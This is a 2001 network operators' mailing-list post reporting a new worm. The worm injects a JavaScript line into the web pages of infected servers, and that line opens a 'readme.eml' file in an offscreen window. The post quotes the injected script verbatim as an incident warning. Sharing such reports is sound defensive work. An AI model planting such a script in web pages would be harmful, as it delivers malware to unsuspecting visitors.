North American Network Operators Group
Date Prev | Date Next | Date Index | Thread Index | Author Index | Historical

RE: Worm probes

  • From: Mark Radabaugh - Amplex
  • Date: Tue Sep 18 11:55:44 2001 
This is new - it modifies the web pages of the infected machine to
include a (I assume) virus.  It adds this string to the web page:

<html><script language="JavaScript">window.open("readme.eml", null,
"resizable=no,top=6000,left=6000")</script></html>

Viewing infected web servers may be dangerous.

Mark Radabaugh
Amplex
(419) 833-3635